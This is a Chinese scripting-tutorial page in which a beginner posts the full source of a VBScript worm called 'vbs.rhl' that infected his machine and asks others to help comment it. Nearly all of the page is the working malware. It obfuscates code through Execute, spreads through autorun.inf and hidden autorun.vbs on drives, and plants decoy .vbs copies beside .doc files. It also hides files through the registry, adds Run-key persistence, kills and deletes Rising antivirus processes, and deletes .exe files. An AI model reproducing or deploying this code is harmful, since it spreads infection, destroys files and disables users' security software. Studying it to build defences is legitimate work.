脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - VBS - vbs病毒源文件剖析(部分代码)

vbs病毒源文件剖析(部分代码)

2020-07-20 11:10VBS教程网 VBS

小弟才接触vbs.前几天中了个病毒,我看了半天,看不明白。有些看明白的地方我做了注释。请大虾帮忙解加些注释,万分感激,病毒代码如下:

  1. rem vbs.rhl  
  2.  
  3. Dim fs,r,ss,w,reg,regpath,dvbs  
  4. ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41)  
  5. Execute ddd  
  6. rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41)  
  7. Execute rrr  
  8. sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41)  
  9. ttt="set dvbs =" & sss  
  10. Execute ttt  
  11. r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\")  
  12. main()   
  13. On Error Resume Next  
  14. sub main()  
  15. regtime()  
  16. finddrive()  
  17. countdrive(ss)  
  18. regwrite()  
  19. ganranfile(ss)  
  20. xunhuan()  
  21. end sub     
  22. Function finddrive()   
  23. if dvbs.name="USBDRIVE.dll" then  
  24. regwrite()  
  25. ganrandisk()  
  26. end if  
  27. if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then  
  28. regwrite()  
  29. dvbs.delete(true)  
  30. end if  
  31. ss=Trim("")  
  32. Set dc = fs.Drives  
  33. For Each d In dc  
  34. If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then   
  35. ss = ss & d.DriveLetter   
  36. end if  
  37. Next  
  38. ss = StrReverse(LCase(Trim(ss)))   
  39. end Function  
  40. Function countdrive(ss)  
  41. On Error Resume Next  
  42. dim x  
  43. For i = 1 To Len(ss)   
  44. x = Mid(ss, i, 1)   
  45. if x="" then  
  46. x=Mid(ss, 1, 1)  
  47. i=1  
  48. end if  
  49. Set w = fs.GetDrive(x)  
  50. ganrandiskroot()  
  51. Next  
  52. end Function  
  53. Function ganrandiskroot()  
  54. dim c,s,f,vbc,ts,runreg  
  55. On Error Resume Next  
  56. If w.DriveType=2 or w.DriveType=1 and w.IsReady Then  
  57. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
  58. else  
  59. fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"  
  60. Execute fff  
  61. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
  62. else  
  63. fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")"  
  64. Execute fff  
  65. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  66. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg"true)  
  67. ts.WriteLine "Windows Registry Editor Version 5.00"  
  68. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  69. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  70. ts.close  
  71. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
  72. f.attributes=f.attributes+7  
  73. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
  74. ts.WriteLine "Windows Registry Editor Version 5.00"  
  75. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  76. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  77. ts.close  
  78. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
  79. f.attributes=f.attributes+7  
  80. end if  
  81. end if  
  82. end if  
  83. If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then  
  84. Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1)  
  85. vbc = c.readall  
  86. If InStr(vbc,"vbs.rhl") <> 0 Then  
  87. c.Close  
  88. Else  
  89. c.Close  
  90. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
  91. c.delete(true)  
  92. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
  93. Execute fff  
  94. s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)")  
  95. Randomize      
  96. i= Int((6 * Rnd) + 1)   
  97. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"  
  98. Execute fff  
  99. Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")  
  100. b.attributes=b.attributes-b.attributes  
  101. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
  102. c.attributes=c.attributes+7  
  103. If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then  
  104. else  
  105. if w.DriveLetter="C" then  
  106. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg"true)  
  107. ts.WriteLine "Windows Registry Editor Version 5.00"  
  108. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  109. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  110. ts.close  
  111. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")  
  112. f.attributes=f.attributes+7  
  113. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")  
  114. ts.WriteLine "Windows Registry Editor Version 5.00"  
  115. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  116. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  117. ts.close  
  118. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")  
  119. f.attributes=f.attributes+7  
  120. else  
  121. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true)  
  122. ts.WriteLine "Windows Registry Editor Version 5.00"  
  123. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  124. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  125. ts.close  
  126. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
  127. f.attributes=f.attributes+7  
  128. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
  129. ts.WriteLine "Windows Registry Editor Version 5.00"  
  130. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  131. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  132. ts.close  
  133. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
  134. f.attributes=f.attributes+7  
  135. end if  
  136. end if  
  137. end if  
  138. else  
  139. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
  140. Execute fff  
  141. s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)")  
  142. Randomize      
  143. i= Int((6 * Rnd) + 1)   
  144. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"  
  145. Execute fff  
  146. Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")  
  147. b.attributes=b.attributes-b.attributes  
  148. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
  149. c.attributes=c.attributes+7  
  150. If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then  
  151. else  
  152. if w.DriveLetter="C" then  
  153. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg"true)  
  154. ts.WriteLine "Windows Registry Editor Version 5.00"  
  155. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  156. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  157. ts.close  
  158. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")  
  159. f.attributes=f.attributes+7  
  160. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")  
  161. ts.WriteLine "Windows Registry Editor Version 5.00"  
  162. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  163. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  164. ts.close  
  165. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")  
  166. f.attributes=f.attributes+7  
  167. else  
  168. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg"true)  
  169. ts.WriteLine "Windows Registry Editor Version 5.00"  
  170. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  171. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  172. ts.close  
  173. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
  174. f.attributes=f.attributes+7  
  175. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
  176. ts.WriteLine "Windows Registry Editor Version 5.00"  
  177. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  178. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  179. ts.close  
  180. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
  181. f.attributes=f.attributes+7  
  182. end if  
  183. end if  
  184. end if  
  185. If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then  
  186. Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1)  
  187. vbc = c.readall  
  188. If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then  
  189. c.Close  
  190. Else  
  191. Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")  
  192. f.attributes=f.attributes-f.attributes  
  193. Set ts = f.OpenAsTextStream(2,-2)  
  194. ts.WriteLine "[AutoRun]"   
  195. ts.WriteLine "open= "  
  196. ts.WriteLine ""  
  197. ts.WriteLine "shell\open=打开(&O) "  
  198. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"   
  199. ts.WriteLine "shell\open\Default=1 "  
  200. ts.close  
  201. f.attributes=f.attributes+7  
  202. end if  
  203. else  
  204. Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true)  
  205. ts.WriteLine "[AutoRun]"   
  206. ts.WriteLine "open= "  
  207. ts.WriteLine ""  
  208. ts.WriteLine "shell\open=打开(&O) "  
  209. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"  
  210. ts.WriteLine "shell\open\Default=1"  
  211. ts.close  
  212. Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")  
  213. f.attributes=f.attributes+7  
  214. End If  
  215. end if  
  216. end Function  
  217. Function regwrite()  
  218. On Error Resume Next  
  219. dim s  
  220. a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\" (a1= HKEY_CURRENT_USER\Software\Microso ft\Windows\CurrentVersion\Explorer\Advanced\  
  221. a2="HK"&"EY_CLAS"&"SES_RO" & "OT\DLL" & "File\"  (a2=HKEY_CLASSES_ROOT\DLLFile)  
  222. a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun"  
  223. (a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun)  
  224. a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun"  
  225. (a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun)  
  226. a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll"  
  227. (a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll)  
  228. a6="R.Re" & "gWri" & chr(116) & "e"                  (a6=R.RegWrichr(116) e)  
  229. a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\"  
  230. (a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon)  
  231. set s=fs.GetDrive(fs.GetDriveName(dvbs.path))    
  232. scandoc(fs.GetSpecialFolder(0) & "\Installer")  
  233. if reg="wordicon.exe" then  
  234. if s="C:" then  
  235. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  236. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")  
  237. else  
  238. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg")  
  239. end if  
  240. else  
  241. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  242. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")  
  243. else  
  244. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg")  
  245. end if  
  246. end if  
  247. ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&regpath & ",1"&chr(34)  
  248. Execute ppp  
  249. else  
  250. if s="C:" then  
  251. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  252. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")  
  253. else  
  254. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg")  
  255. end if  
  256. else  
  257. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  258. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")  
  259. else  
  260. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg")  
  261. end if  
  262. end if  
  263. ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34)  
  264. Execute ppp  
  265. end if  
  266. ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
  267. Execute ppp  
  268. ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34)  
  269. Execute ppp  
  270. ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
  271. Execute ppp  
  272. ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34)  
  273. Execute ppp  
  274. ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34)  
  275. Execute ppp  
  276. ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*"  & chr(34)  
  277. Execute ppp  
  278. ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34)  
  279. Execute ppp  
  280. ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)  
  281. Execute ppp  
  282. ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)  
  283. Execute ppp  
  284. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
  285. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)  
  286. Execute ppp  
  287. else  
  288. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)  
  289. Execute ppp  
  290. end if  
  291. if day(date())="27" then                                                   (27号报告错误)  
  292. msgbox "小样!你的杀毐软件该升级了,磁盘已被格式化"  
  293. End If  
  294. end Function  
  295. Function scandoc(a)                                                       (定义子函数)  
  296. On Error Resume Next                                                      (出错不报告)  
  297. dim files,file,subfolder,folder_  
  298. set folder_=fs.getfolder(a)   
  299. set files=folder_.files   
  300. for each file in files             (for each。。。next   对数组或集合中的每个元素重复执行一组语句)  
  301. if file.name ="wordicon.exe" then  
  302. reg=file.name  
  303. regpath=file.path  
  304. exit Function  
  305. end if  
  306. next                                                                 (for each 的next)  
  307. set subfolders=folder_.subfolders                                       (set  是一个赋值语句)  
  308. for each subfolder in subfolders   
  309. scandoc(subfolder)   
  310. next    
  311. end Function                                                        (结束子程序的定义)  
  312. Function regtime()                                   (定义一个子程序添加注册表,结束瑞星)  
  313. a6="R.Re" & "gWri" & chr(116) & "e"               (a6= R.RegWri chr(116)e  chr(116)是值)  
  314. a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" &"iptingHo"&"st\Settin"&"gs\Timeou                  (a8=注册表HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout)  
  315. ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
  316. Execute ppp                                          (对指定的字符串执行正则表达式搜索)  
  317. dim NameorPID  
  318. kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")  
  319. for i=0 to 4  
  320. KillProcess(kill(i))                                                     (结束4个瑞星程序)  
  321. next  
  322. end Function                                                           (结束这个子程序)  
  323. Function ganranfile(aa)                                                   (定义一个子程序)  
  324. On Error Resume Next                                                       (出错不报告)  
  325. dim x  
  326. For i = 1 To Len(aa)          (len函数  返回字符串内字符的数目,或是存储一变量所需的字节数)  
  327. x = Mid(aa, i, 1)             (mid函数  从字符串中返回指定数目的字符。这里是一个个返回给X)  
  328. if x="" then  
  329. x=Mid(aa, 1, 1)  
  330. i=1  
  331. end if  
  332. Set x = fs.GetDrive(x)   
  333. if x.IsReady then  
  334. scan(x)  
  335. else  
  336. xunhuan()  
  337. end if  
  338. Next  
  339. end Function                                                    (结束本子程序,作用不明)  
  340. Function scan(x)                                                 (定义子程序   scan(a)  )  
  341. On Error Resume Next                                             ( 出错不报告 )  
  342. dim files,file,subfolder,folder_  
  343. set folder_=fs.getfolder(x)   
  344. set files=folder_.files   
  345. for each file in files  
  346. s=file.path  
  347. ext=fs.GetExtensionName(file)   
  348. ext=lcase(ext)                                        (  lcase函数   返回字符串的小写形式)  
  349. if ext="doc" then   
  350. fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")"    (fff是sss.copy加几个字符  
  351. 怀疑这个几个字符组成一个文件名)  
  352. Execute fff  
  353. end if   
  354. next   
  355. set subfolders=folder_.subfolders   
  356. for each subfolder in subfolders   
  357. scan(subfolder)   
  358. next   
  359. end Function  
  360. Function ganrandisk()   
  361. On Error Resume Next  
  362. regwrite()  
  363. dim doc, d, s, coun,w,h,oo  
  364.   Set doc = fs.Drives  
  365. for each k in doc  
  366. if k.IsReady then  
  367. h=h & k.DriveLetter  
  368. end if  
  369. next  
  370. t1=len(Trim(h))  
  371. coun=doc.count  
  372. do while coun>0  
  373. oo=h & w  
  374. clearinfo(oo)  
  375. wscript.sleep 50  
  376. Set d = fs.Drives  
  377. if d.count>coun then  
  378. for each k in d  
  379. if k.IsReady then  
  380. s=s & k.DriveLetter  
  381. end if  
  382. next  
  383. coun=d.count  
  384. t= StrReverse(LCase(Trim(s)))   
  385. w=mid(t,1,abs(len(t)-t1))  
  386. countdrive(w)  
  387. ganranfile(w)  
  388. s=trim("")  
  389. t1=len(t)  
  390. end if  
  391. if d.count<coun then  
  392. for each k in d  
  393. if k.IsReady then  
  394. s=s & k.DriveLetter  
  395. end if  
  396. next  
  397. coun=d.count  
  398. t= StrReverse(LCase(Trim(s)))   
  399. s=trim("")  
  400. t1=len(t)  
  401. end if  
  402. loop  
  403. end Function  
  404. Function xunhuan()  
  405. On Error Resume Next  
  406. dim sfo  
  407. set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path))   
  408. if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then  
  409. if sfo.DriveType=2 then   
  410. ganrandisk()   
  411. else  
  412. wscript.quit  
  413. end if  
  414. else  
  415. dvbs.delete(true)  
  416. end if  
  417. end Function  
  418.  
  419. Function clearinfo(oo)  
  420. On Error Resume Next  
  421. dim dc,z  
  422. oo =LCase(Trim(oo))  
  423. For m = 1 To Len(oo)   
  424. z = Mid(oo, m, 1)   
  425. Set z = fs.GetDrive(z)  
  426. findinf(z)  
  427. v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")  
  428. for i= 0 to 1  
  429. scanexe(v(i))  
  430. next  
  431. next  
  432. vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")  
  433. for i=0 to 2  
  434. scanexe(vir(i))  
  435. next  
  436. end Function   
  437. Function scanexe(a)  
  438. wscript.sleep 100  
  439. On Error Resume Next  
  440. dim files,file,folder_  
  441. if fs.FolderExists(a) then  
  442. set folder_=fs.getfolder(a)   
  443. set files=folder_.files   
  444. for each file in files  
  445. ext=fs.GetExtensionName(file)   
  446. ext=lcase(ext)   
  447. if ext="exe" then   
  448. Set f = fs.GetFile(file)  
  449. f.delete(true)  
  450. end if   
  451. next   
  452. set subfolders=folder_.subfolders   
  453. for each subfolder in subfolders   
  454. scanexe(subfolder)   
  455. next   
  456. end if  
  457. end Function  
  458. Function findinf(z)  
  459. On Error Resume Next  
  460. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
  461. else  
  462. fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"  
  463. Execute fff  
  464. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
  465. else  
  466. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)  
  467. Execute ppp  
  468. end if  
  469. end if  
  470. If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then  
  471. else  
  472. fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
  473. Execute fff  
  474. Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")  
  475. f.attributes=f.attributes+7  
  476. end if  
  477. If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then  
  478. Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)  
  479. vbc = c.readall  
  480. If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then  
  481. c.Close  
  482. Else  
  483. Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")  
  484. f.attributes=f.attributes-f.attributes  
  485. Set ts = f.OpenAsTextStream(2,-2)  
  486. ts.WriteLine "[AutoRun]"                                    (以下建立自动播放文件)   
  487. ts.WriteLine "open= "  
  488. ts.WriteLine ""  
  489. ts.WriteLine "shell\open=打开(&O) "  
  490. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"   
  491. ts.WriteLine "shell\open\Default=1 "  
  492. ts.close  
  493. f.attributes=f.attributes+7  
  494. end if  
  495. else  
  496. Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)  
  497. ts.WriteLine "[AutoRun]"   
  498. ts.WriteLine "open= "  
  499. ts.WriteLine ""  
  500. ts.WriteLine "shell\open=打开(&O) "  
  501. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"  
  502. ts.WriteLine "shell\open\Default=1"  
  503. ts.close  
  504. Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")  
  505. f.attributes=f.attributes+7  
  506. End If  
  507. if fs.FileExists(z.DriveLetter & ":\vbs.reg") then  
  508. else  
  509. Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg"true)  
  510. ts.WriteLine "Windows Registry Editor Version 5.00"  
  511. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  512. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
  513. ts.close  
  514. Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")  
  515. f.attributes=f.attributes+7  
  516. end if  
  517. if fs.FileExists(z.DriveLetter & ":\doc.reg") then  
  518. else  
  519. Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)  
  520. ts.WriteLine "Windows Registry Editor Version 5.00"  
  521. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
  522. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
  523. ts.close  
  524. Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")  
  525. f.attributes=f.attributes+7  
  526. end if  
  527. end Function  
  528.  
  529. Function KillProcess(NameorPID)  
  530. On Error Resume Next  
  531.     Dim oWMI, oProcs, oProc, strSQL  
  532.     KillProcess = False  
  533.     strSQL = "SELECT * FROM Win32_Process"  
  534.     If NameOrPID <> "" Then  
  535.         If IsNumeric(NameOrPID) Then  
  536.             strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"  
  537.         Else  
  538.             strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"  
  539.         End If  
  540.     End If  
  541.     Set oWMI = GetObject("winmgmts:\\.\root\cimv2")  
  542.     Set oProcs = oWMI.ExecQuery(strSQL)  
  543.     For Each oProc In oProcs  
  544.         If IsNumeric(NameOrPID) Then  
  545.             oProc.Terminate  
  546.             KillProcess = True  
  547.         Else  
  548.             oProc.Terminate  
  549. if day(date())="27" then  
  550.        set killfile=fs.getfile( oProc.ExecutablePath)  
  551. killfile.delete(true)  
  552.         End If  
  553. end if  
  554.     Next  
  555.     Set oProc = Nothing  
  556.     Set oProcs = Nothing  
  557.     Set oWMI = Nothing  
  558. End Function  

延伸 · 阅读

精彩推荐